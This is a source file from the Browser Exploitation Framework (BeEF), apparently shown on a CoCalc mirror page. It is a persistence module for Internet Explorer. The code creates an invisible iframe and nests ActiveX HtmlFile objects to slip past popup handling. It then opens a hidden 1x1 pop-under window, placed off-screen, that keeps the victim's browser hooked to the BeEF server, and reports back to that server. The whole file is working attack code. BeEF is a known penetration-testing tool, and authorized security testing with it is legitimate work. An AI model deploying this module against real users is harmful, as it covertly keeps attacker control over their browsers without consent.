Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/persistence/popunder_window_ie/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
9
var popunder_name = Math.random().toString(36).substring(2,10);
10
var iframe_name = Math.random().toString(36).substring(2,10);
11
12
// Create iframe
13
var popunder_<%= @command_id %> = beef.dom.createInvisibleIframe();
14
popunder_<%= @command_id %>.name = iframe_name;
15
popunder_<%= @command_id %>.id = iframe_name;
16
17
// Create an HtmlFile from an IFrame
18
var ax1 = new window[iframe_name].ActiveXObject("HtmlFile");
19
20
// Destroy the contents of the IFrame, while keeping ax1 alive
21
// because we have a reference to it outside the IFrame itself.
22
window[iframe_name].document.open().close();
23
24
// Initialize the HtmlFile
25
ax1.open().close();
26
27
// Create a new htmlFile inside the previous one
28
var ax2 = new ax1.Script.ActiveXObject("HtmlFile");
29
ax2.open().close();
30
31
// Launch popup
32
beef.debug("[PopUnder Window (IE)] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
33
ax2.Script.open(popunder_url, popunder_name, 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left=' + screen.width + ',top=' + screen.height).blur();
34
window.focus();
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');
36
});
37
38